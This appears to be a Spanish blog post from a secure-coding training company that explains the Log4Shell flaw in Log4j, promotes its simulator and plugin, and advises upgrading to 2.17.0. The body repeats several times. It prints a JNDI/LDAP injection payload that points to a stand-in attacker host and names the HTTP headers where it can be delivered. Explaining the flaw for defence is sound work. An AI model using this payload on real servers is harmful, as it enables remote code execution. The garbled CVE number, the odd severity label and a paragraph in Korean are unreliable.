Iconos SCW
héroe bg sin separador
Blog

Descripción de la vulnerabilidad de Log4j: vectores de ataque y métodos de prevención

Laura Verheyde
Publicado el 16 de enero de 2022
Última actualización el 9 de marzo de 2026

El 9 de diciembre se hizo público un exploit de día cero de la biblioteca Java Log4j. CVE-44228, apodado Log4Shell, recibió una calificación de «alta gravedad» (RACE) debido a que el exploit permite la ejecución remota de código. Además, log4j-core es una de las bibliotecas de registro Java más utilizadas, lo que pone en riesgo a millones de aplicaciones.

¿Desea mejorar rápidamente las habilidades necesarias para manejar Log4Shell?

Partiendo de los conceptos básicos de Log4Shell, hemos creado una demostración en el simulador Mission para que pueda experimentar el abuso de esta vulnerabilidad. En esta misión, le mostraremos cómo la vulnerabilidad de Log4j puede afectar a la infraestructura y las aplicaciones. Haga clic aquí para ir directamente a la demostración osiga leyendo para obtener más información sobre esta vulnerabilidad.

¿Noticias antiguas?

Los exploits no son nada nuevo. Los investigadores de seguridad ya lo destacaron en la conferencia Black Hat de 2016, con Álvaro Muñoz y Oleksandr Mirosh. «Las aplicaciones no deben realizar consultas JNDI con datos no fiables».Explicaron cómo la inyección JNDI/LDAP objetivo puede conducir a la ejecución remota de código. Esto es precisamente el núcleo de Log4Shell.

Vector de ataque

La carga útil de inyección de Log4Shell es la siguiente.

$ {indi:ldap: //attacker.host/xyz}

이를 이해하려면 자바의 표현식 언어 (EL) 에 대해 알아야 합니다.다음 구문으로 작성된 표현식: $ {expr} 런타임에 평가됩니다.예를 들어 $ {java:version} 은 사용 중인 자바 버전을 반환합니다.

A continuación, JNDI es una API que permite buscar datos o recursos conectándose a servicios mediante protocolos como Java Naming and Directory Interface, LDAP, DNS, RMI, etc. En pocas palabras, en el ejemplo anterior de carga maliciosa, JNDI realiza una búsqueda en un servidor LDAP controlado por el atacante. Por ejemplo, la respuesta puede apuntar a un archivo de clase Java que contiene código malicioso, que, a cambio, se ejecuta en un servidor vulnerable.

El motivo por el que esta vulnerabilidad es tan problemática es que Log4j evalúa todas las entradas de registro y consulta todas las entradas de usuario registradas escritas con la sintaxis EL con el prefijo «jndi». La carga útil se puede insertar en cualquier lugar donde el usuario pueda introducir datos, como los campos de formulario.Además, los encabezados HTTP (por ejemplo, User-Agent y X-Forwarded-For, entre otros) pueden personalizarse para transmitir la carga útil.

Para experimentar directamente el exploit, vaya al escaparate y pase a la fase 2: «Impacto de la experiencia».

Prevención: Concienciación

Log4j está parcheando el código vulnerable, por lo que se recomienda actualizar todas las aplicaciones. Sin embargo, las versiones 2.15.0 y 2.16.0 contienen vulnerabilidades DDoS y otras, por lo que se recomienda actualizar a la versión 2.17.0 a partir de finales de diciembre.

Como desarrolladores que escribimos código, siempre debemos tener en cuenta la seguridad. Log4Shell nos ha enseñado que el uso de marcos o bibliotecas de terceros conlleva riesgos. Debemos tener presente que el uso de fuentes externas que ingenuamente consideramos seguras puede comprometer la seguridad de nuestras aplicaciones.

¿Se podría haber evitado esta vulnerabilidad? Sí y no. Por un lado, hay muchas cosas que los desarrolladores pueden hacer solo cuando los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección aprendida se ha repetido una y otra vez: nunca confíes en las entradas de los usuarios.

Secure Code Warrior cree que la mejor manera de evitar vulnerabilidades en el código es que los desarrolladores den prioridad a la seguridad. SCW ofrece formación a gran escala sobre marcos de programación específicos, lo que permitió a los clientes empresariales identificar rápidamente a los desarrolladores Java afectados utilizando los datos de los informes. Además, con la ayuda de expertos en seguridad formados por SCW, se aceleró la actualización de Log4j.

Secure Code Warrior ofrece Sensei, un complemento gratuito para IntelliJ, especialmente diseñado para desarrolladores Java. Esta herramienta de análisis de código basada en reglas se puede utilizar para aplicar directrices de codificación y prevenir y resolver vulnerabilidades. Se pueden crear reglas propias o utilizar reglas predefinidas. Libro de recetas. Eche un vistazo a nuestras recetas y no se olvide de descargar nuestro libro de recetas Log4j, que le ayudará a encontrar y resolver la vulnerabilidad Log4Shell en un abrir y cerrar de ojos.

Actualice sus tecnologías de defensa contra Log4Shell.

¿Desea aplicar lo aprendido en esta publicación del blog? El escaparate puede resultarle útil. Al iniciar el escaparate, se revisará rápidamente esta vulnerabilidad y, a continuación, se le dirigirá a un entorno de simulación en el que podrá intentar el exploit siguiendo las instrucciones proporcionadas.


Ver recursos
Ver recursos

En diciembre de 2021, se reveló una grave vulnerabilidad de seguridad llamada Log4Shell en la biblioteca Java Log4j. En este documento, se desglosa la vulnerabilidad Log4Shell de la forma más sencilla posible para comprender los conceptos básicos y, basándose en el conocimiento de esta vulnerabilidad, se presenta un entorno de pruebas en el que se puede explotar un sitio web simulado.

¿Le interesa saber más?

Más información

Secure Code Warrior está aquí para ayudar a las organizaciones a proteger el código durante todo el ciclo de vida del desarrollo de software y a crear una cultura que priorice la ciberseguridad. Ya seas administrador de AppSec, desarrollador, CISO o cualquier persona relacionada con la seguridad, podemos ayudarte a reducir los riesgos asociados al código inseguro en tu organización.

Reserva de demostración
Destinatarios:
marcas de LinkedInSocialx logotipo
Autor
Laura Verheyde
Publicado el 16 de enero de 2022

Laura Verheyde es una desarrolladora de software en Secure Code Warrior centrada en la investigación de vulnerabilidades y la creación de contenidos para Missions y Coding labs.

Destinatarios:
marcas de LinkedInSocialx logotipo

El 9 de diciembre se hizo público un exploit de día cero de la biblioteca Java Log4j. CVE-44228, apodado Log4Shell, recibió una calificación de «alta gravedad» (RACE) debido a que el exploit permite la ejecución remota de código. Además, log4j-core es una de las bibliotecas de registro Java más utilizadas, lo que pone en riesgo a millones de aplicaciones.

¿Desea mejorar rápidamente las habilidades necesarias para manejar Log4Shell?

Partiendo de los conceptos básicos de Log4Shell, hemos creado una demostración en el simulador Mission para que pueda experimentar el abuso de esta vulnerabilidad. En esta misión, le mostraremos cómo la vulnerabilidad de Log4j puede afectar a la infraestructura y las aplicaciones. Haga clic aquí para ir directamente a la demostración osiga leyendo para obtener más información sobre esta vulnerabilidad.

¿Noticias antiguas?

Los exploits no son nada nuevo. Los investigadores de seguridad ya lo destacaron en la conferencia Black Hat de 2016, con Álvaro Muñoz y Oleksandr Mirosh. «Las aplicaciones no deben realizar consultas JNDI con datos no fiables».Explicaron cómo la inyección JNDI/LDAP objetivo puede conducir a la ejecución remota de código. Esto es precisamente el núcleo de Log4Shell.

Vector de ataque

La carga útil de inyección de Log4Shell es la siguiente.

$ {indi:ldap: //attacker.host/xyz}

이를 이해하려면 자바의 표현식 언어 (EL) 에 대해 알아야 합니다.다음 구문으로 작성된 표현식: $ {expr} 런타임에 평가됩니다.예를 들어 $ {java:version} 은 사용 중인 자바 버전을 반환합니다.

A continuación, JNDI es una API que permite buscar datos o recursos conectándose a servicios mediante protocolos como Java Naming and Directory Interface, LDAP, DNS, RMI, etc. En pocas palabras, en el ejemplo anterior de carga maliciosa, JNDI realiza una búsqueda en un servidor LDAP controlado por el atacante. Por ejemplo, la respuesta puede apuntar a un archivo de clase Java que contiene código malicioso, que, a cambio, se ejecuta en un servidor vulnerable.

El motivo por el que esta vulnerabilidad es tan problemática es que Log4j evalúa todas las entradas de registro y consulta todas las entradas de usuario registradas escritas con la sintaxis EL con el prefijo «jndi». La carga útil se puede insertar en cualquier lugar donde el usuario pueda introducir datos, como los campos de formulario.Además, los encabezados HTTP (por ejemplo, User-Agent y X-Forwarded-For, entre otros) pueden personalizarse para transmitir la carga útil.

Para experimentar directamente el exploit, vaya al escaparate y pase a la fase 2: «Impacto de la experiencia».

Prevención: Concienciación

Log4j está parcheando el código vulnerable, por lo que se recomienda actualizar todas las aplicaciones. Sin embargo, las versiones 2.15.0 y 2.16.0 contienen vulnerabilidades DDoS y otras, por lo que se recomienda actualizar a la versión 2.17.0 a partir de finales de diciembre.

Como desarrolladores que escribimos código, siempre debemos tener en cuenta la seguridad. Log4Shell nos ha enseñado que el uso de marcos o bibliotecas de terceros conlleva riesgos. Debemos tener presente que el uso de fuentes externas que ingenuamente consideramos seguras puede comprometer la seguridad de nuestras aplicaciones.

¿Se podría haber evitado esta vulnerabilidad? Sí y no. Por un lado, hay muchas cosas que los desarrolladores pueden hacer solo cuando los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección aprendida se ha repetido una y otra vez: nunca confíes en las entradas de los usuarios.

Secure Code Warrior cree que la mejor manera de evitar vulnerabilidades en el código es que los desarrolladores den prioridad a la seguridad. SCW ofrece formación a gran escala sobre marcos de programación específicos, lo que permitió a los clientes empresariales identificar rápidamente a los desarrolladores Java afectados utilizando los datos de los informes. Además, con la ayuda de expertos en seguridad formados por SCW, se aceleró la actualización de Log4j.

Secure Code Warrior ofrece Sensei, un complemento gratuito para IntelliJ, especialmente diseñado para desarrolladores Java. Esta herramienta de análisis de código basada en reglas se puede utilizar para aplicar directrices de codificación y prevenir y resolver vulnerabilidades. Se pueden crear reglas propias o utilizar reglas predefinidas. Libro de recetas. Eche un vistazo a nuestras recetas y no se olvide de descargar nuestro libro de recetas Log4j, que le ayudará a encontrar y resolver la vulnerabilidad Log4Shell en un abrir y cerrar de ojos.

Actualice sus tecnologías de defensa contra Log4Shell.

¿Desea aplicar lo aprendido en esta publicación del blog? El escaparate puede resultarle útil. Al iniciar el escaparate, se revisará rápidamente esta vulnerabilidad y, a continuación, se le dirigirá a un entorno de simulación en el que podrá intentar el exploit siguiendo las instrucciones proporcionadas.


Ver recursos
Ver recursos

Para descargar el informe, rellene el siguiente formulario.

Solicitamos su consentimiento para enviarle información sobre nuestros productos y/o temas relacionados con la codificación de seguridad. Siempre tratamos su información personal con el máximo cuidado y nunca la vendemos a otras empresas con fines de marketing.

Enviar
Icono de éxito de SCW
Icono de error scw
Para enviar el formulario, active la cookie «Analytics». Una vez completado, puede desactivarla en cualquier momento.

El 9 de diciembre se hizo público un exploit de día cero de la biblioteca Java Log4j. CVE-44228, apodado Log4Shell, recibió una calificación de «alta gravedad» (RACE) debido a que el exploit permite la ejecución remota de código. Además, log4j-core es una de las bibliotecas de registro Java más utilizadas, lo que pone en riesgo a millones de aplicaciones.

¿Desea mejorar rápidamente las habilidades necesarias para manejar Log4Shell?

Partiendo de los conceptos básicos de Log4Shell, hemos creado una demostración en el simulador Mission para que pueda experimentar el abuso de esta vulnerabilidad. En esta misión, le mostraremos cómo la vulnerabilidad de Log4j puede afectar a la infraestructura y las aplicaciones. Haga clic aquí para ir directamente a la demostración osiga leyendo para obtener más información sobre esta vulnerabilidad.

¿Noticias antiguas?

Los exploits no son nada nuevo. Los investigadores de seguridad ya lo destacaron en la conferencia Black Hat de 2016, con Álvaro Muñoz y Oleksandr Mirosh. «Las aplicaciones no deben realizar consultas JNDI con datos no fiables».Explicaron cómo la inyección JNDI/LDAP objetivo puede conducir a la ejecución remota de código. Esto es precisamente el núcleo de Log4Shell.

Vector de ataque

La carga útil de inyección de Log4Shell es la siguiente.

$ {indi:ldap: //attacker.host/xyz}

이를 이해하려면 자바의 표현식 언어 (EL) 에 대해 알아야 합니다.다음 구문으로 작성된 표현식: $ {expr} 런타임에 평가됩니다.예를 들어 $ {java:version} 은 사용 중인 자바 버전을 반환합니다.

A continuación, JNDI es una API que permite buscar datos o recursos conectándose a servicios mediante protocolos como Java Naming and Directory Interface, LDAP, DNS, RMI, etc. En pocas palabras, en el ejemplo anterior de carga maliciosa, JNDI realiza una búsqueda en un servidor LDAP controlado por el atacante. Por ejemplo, la respuesta puede apuntar a un archivo de clase Java que contiene código malicioso, que, a cambio, se ejecuta en un servidor vulnerable.

El motivo por el que esta vulnerabilidad es tan problemática es que Log4j evalúa todas las entradas de registro y consulta todas las entradas de usuario registradas escritas con la sintaxis EL con el prefijo «jndi». La carga útil se puede insertar en cualquier lugar donde el usuario pueda introducir datos, como los campos de formulario.Además, los encabezados HTTP (por ejemplo, User-Agent y X-Forwarded-For, entre otros) pueden personalizarse para transmitir la carga útil.

Para experimentar directamente el exploit, vaya al escaparate y pase a la fase 2: «Impacto de la experiencia».

Prevención: Concienciación

Log4j está parcheando el código vulnerable, por lo que se recomienda actualizar todas las aplicaciones. Sin embargo, las versiones 2.15.0 y 2.16.0 contienen vulnerabilidades DDoS y otras, por lo que se recomienda actualizar a la versión 2.17.0 a partir de finales de diciembre.

Como desarrolladores que escribimos código, siempre debemos tener en cuenta la seguridad. Log4Shell nos ha enseñado que el uso de marcos o bibliotecas de terceros conlleva riesgos. Debemos tener presente que el uso de fuentes externas que ingenuamente consideramos seguras puede comprometer la seguridad de nuestras aplicaciones.

¿Se podría haber evitado esta vulnerabilidad? Sí y no. Por un lado, hay muchas cosas que los desarrolladores pueden hacer solo cuando los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección aprendida se ha repetido una y otra vez: nunca confíes en las entradas de los usuarios.

Secure Code Warrior cree que la mejor manera de evitar vulnerabilidades en el código es que los desarrolladores den prioridad a la seguridad. SCW ofrece formación a gran escala sobre marcos de programación específicos, lo que permitió a los clientes empresariales identificar rápidamente a los desarrolladores Java afectados utilizando los datos de los informes. Además, con la ayuda de expertos en seguridad formados por SCW, se aceleró la actualización de Log4j.

Secure Code Warrior ofrece Sensei, un complemento gratuito para IntelliJ, especialmente diseñado para desarrolladores Java. Esta herramienta de análisis de código basada en reglas se puede utilizar para aplicar directrices de codificación y prevenir y resolver vulnerabilidades. Se pueden crear reglas propias o utilizar reglas predefinidas. Libro de recetas. Eche un vistazo a nuestras recetas y no se olvide de descargar nuestro libro de recetas Log4j, que le ayudará a encontrar y resolver la vulnerabilidad Log4Shell en un abrir y cerrar de ojos.

Actualice sus tecnologías de defensa contra Log4Shell.

¿Desea aplicar lo aprendido en esta publicación del blog? El escaparate puede resultarle útil. Al iniciar el escaparate, se revisará rápidamente esta vulnerabilidad y, a continuación, se le dirigirá a un entorno de simulación en el que podrá intentar el exploit siguiendo las instrucciones proporcionadas.


Ver seminario web
Empezar
Más información

Haga clic en el siguiente enlace y descargue el PDF de este recurso.

Secure Code Warrior está aquí para ayudar a las organizaciones a proteger el código durante todo el ciclo de vida del desarrollo de software y a crear una cultura que priorice la ciberseguridad. Ya seas administrador de AppSec, desarrollador, CISO o cualquier persona relacionada con la seguridad, podemos ayudarte a reducir los riesgos asociados al código inseguro en tu organización.

Ver informeReserva de demostración
Ver recursos
Destinatarios:
marcas de LinkedInSocialx logotipo
¿Le interesa saber más?

Destinatarios:
marcas de LinkedInSocialx logotipo
Autor
Laura Verheyde
Publicado el 16 de enero de 2022

Laura Verheyde es una desarrolladora de software en Secure Code Warrior centrada en la investigación de vulnerabilidades y la creación de contenidos para Missions y Coding labs.

Destinatarios:
marcas de LinkedInSocialx logotipo

El 9 de diciembre se hizo público un exploit de día cero de la biblioteca Java Log4j. CVE-44228, apodado Log4Shell, recibió una calificación de «alta gravedad» (RACE) debido a que el exploit permite la ejecución remota de código. Además, log4j-core es una de las bibliotecas de registro Java más utilizadas, lo que pone en riesgo a millones de aplicaciones.

¿Desea mejorar rápidamente las habilidades necesarias para manejar Log4Shell?

Partiendo de los conceptos básicos de Log4Shell, hemos creado una demostración en el simulador Mission para que pueda experimentar el abuso de esta vulnerabilidad. En esta misión, le mostraremos cómo la vulnerabilidad de Log4j puede afectar a la infraestructura y las aplicaciones. Haga clic aquí para ir directamente a la demostración osiga leyendo para obtener más información sobre esta vulnerabilidad.

¿Noticias antiguas?

Los exploits no son nada nuevo. Los investigadores de seguridad ya lo destacaron en la conferencia Black Hat de 2016, con Álvaro Muñoz y Oleksandr Mirosh. «Las aplicaciones no deben realizar consultas JNDI con datos no fiables».Explicaron cómo la inyección JNDI/LDAP objetivo puede conducir a la ejecución remota de código. Esto es precisamente el núcleo de Log4Shell.

Vector de ataque

La carga útil de inyección de Log4Shell es la siguiente.

$ {indi:ldap: //attacker.host/xyz}

이를 이해하려면 자바의 표현식 언어 (EL) 에 대해 알아야 합니다.다음 구문으로 작성된 표현식: $ {expr} 런타임에 평가됩니다.예를 들어 $ {java:version} 은 사용 중인 자바 버전을 반환합니다.

A continuación, JNDI es una API que permite buscar datos o recursos conectándose a servicios mediante protocolos como Java Naming and Directory Interface, LDAP, DNS, RMI, etc. En pocas palabras, en el ejemplo anterior de carga maliciosa, JNDI realiza una búsqueda en un servidor LDAP controlado por el atacante. Por ejemplo, la respuesta puede apuntar a un archivo de clase Java que contiene código malicioso, que, a cambio, se ejecuta en un servidor vulnerable.

El motivo por el que esta vulnerabilidad es tan problemática es que Log4j evalúa todas las entradas de registro y consulta todas las entradas de usuario registradas escritas con la sintaxis EL con el prefijo «jndi». La carga útil se puede insertar en cualquier lugar donde el usuario pueda introducir datos, como los campos de formulario.Además, los encabezados HTTP (por ejemplo, User-Agent y X-Forwarded-For, entre otros) pueden personalizarse para transmitir la carga útil.

Para experimentar directamente el exploit, vaya al escaparate y pase a la fase 2: «Impacto de la experiencia».

Prevención: Concienciación

Log4j está parcheando el código vulnerable, por lo que se recomienda actualizar todas las aplicaciones. Sin embargo, las versiones 2.15.0 y 2.16.0 contienen vulnerabilidades DDoS y otras, por lo que se recomienda actualizar a la versión 2.17.0 a partir de finales de diciembre.

Como desarrolladores que escribimos código, siempre debemos tener en cuenta la seguridad. Log4Shell nos ha enseñado que el uso de marcos o bibliotecas de terceros conlleva riesgos. Debemos tener presente que el uso de fuentes externas que ingenuamente consideramos seguras puede comprometer la seguridad de nuestras aplicaciones.

¿Se podría haber evitado esta vulnerabilidad? Sí y no. Por un lado, hay muchas cosas que los desarrolladores pueden hacer solo cuando los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección aprendida se ha repetido una y otra vez: nunca confíes en las entradas de los usuarios.

Secure Code Warrior cree que la mejor manera de evitar vulnerabilidades en el código es que los desarrolladores den prioridad a la seguridad. SCW ofrece formación a gran escala sobre marcos de programación específicos, lo que permitió a los clientes empresariales identificar rápidamente a los desarrolladores Java afectados utilizando los datos de los informes. Además, con la ayuda de expertos en seguridad formados por SCW, se aceleró la actualización de Log4j.

Secure Code Warrior ofrece Sensei, un complemento gratuito para IntelliJ, especialmente diseñado para desarrolladores Java. Esta herramienta de análisis de código basada en reglas se puede utilizar para aplicar directrices de codificación y prevenir y resolver vulnerabilidades. Se pueden crear reglas propias o utilizar reglas predefinidas. Libro de recetas. Eche un vistazo a nuestras recetas y no se olvide de descargar nuestro libro de recetas Log4j, que le ayudará a encontrar y resolver la vulnerabilidad Log4Shell en un abrir y cerrar de ojos.

Actualice sus tecnologías de defensa contra Log4Shell.

¿Desea aplicar lo aprendido en esta publicación del blog? El escaparate puede resultarle útil. Al iniciar el escaparate, se revisará rápidamente esta vulnerabilidad y, a continuación, se le dirigirá a un entorno de simulación en el que podrá intentar el exploit siguiendo las instrucciones proporcionadas.


Índice

Descargar PDF
Ver recursos
¿Le interesa saber más?

Más información

Secure Code Warrior está aquí para ayudar a las organizaciones a proteger el código durante todo el ciclo de vida del desarrollo de software y a crear una cultura que priorice la ciberseguridad. Ya seas administrador de AppSec, desarrollador, CISO o cualquier persona relacionada con la seguridad, podemos ayudarte a reducir los riesgos asociados al código inseguro en tu organización.

Reserva de demostraciónDescargar
Destinatarios:
marcas de LinkedInSocialx logotipo
Centro de recursos

Recursos útiles para empezar

Más publicaciones
Centro de recursos

Recursos útiles para empezar

Más publicaciones